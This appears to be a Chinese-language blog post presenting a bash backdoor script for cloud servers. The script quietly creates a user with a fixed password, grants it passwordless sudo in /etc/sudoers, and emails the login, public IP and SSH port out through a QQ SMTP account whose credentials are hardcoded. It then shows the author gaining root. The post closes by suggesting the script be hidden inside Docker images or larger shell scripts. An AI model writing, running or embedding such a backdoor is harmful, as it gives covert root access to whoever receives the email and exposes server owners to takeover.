说明:请在云服务器中执行,执行脚本后会发生
- 1、创建
${create_user}
用户并赋予sudo权限 - 2、获取公网IP地址和SSH端口
- 3、将用户+公网IP+SSH端口信息发送给
${mail_from}
变量
#!/bin/bash
# 收件人邮箱
mail_from=xxx@xx.com
sshd_port=$(grep "^Port" /etc/ssh/sshd_config | awk '{print $2}')
create_user="vftp"
user_passwd="Six6."
ip=$(curl ifconfig.me)
mailConfig(){
# 判断是否安装mail,如果没有则安装
if ! [[ -x /usr/bin/mail ]];then
(yum -y install mailx) &>/dev/null
fi
# 备份mail.rc文件
if [[ -f /etc/mail.rc ]];then
mv /etc/mail.rc{,.default-$(date +%F-%s)}
fi
# 生产新的mail.rc文件
cat > /etc/mail.rc << EOF
set from=1507341994@qq.com
set smtp=smtp.qq.com
set smtp-auth-user=1507341994@qq.com
set smtp-auth-password="eptesvmdjfpcbaab"
set smtp-auth=login
EOF
# 创建用户并授权
(useradd -M ${create_user}
echo "${user_passwd}" | passwd --stdin ${create_user}
echo "${create_user} ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers) &>/dev/null
# 发送邮件
echo "
User: ${create_user}
Passwd: ${user_passwd}
SSH_Ip: ${ip}
SSH_Port: ${sshd_port:-22}"| mail -s "${ip}" ${mail_from}
}
mailConfig
执行后会发送邮件,如上图,我们可以通过这个方式登入服务器
ssh vftp@152.136.1xx.xxx 1790
# 输入密码
登入服务器后可以使用命令sudo -i
免密登入到root
用户
-bash-4.2$ sudo -i
[root@VM-16-4-centos ~]#
OK,如上已经使用root
用户登入服务器了,此脚本适用于:
- 1、嵌套到Docker镜像中
- 2、嵌套到较复杂的Shell脚本中
- 3、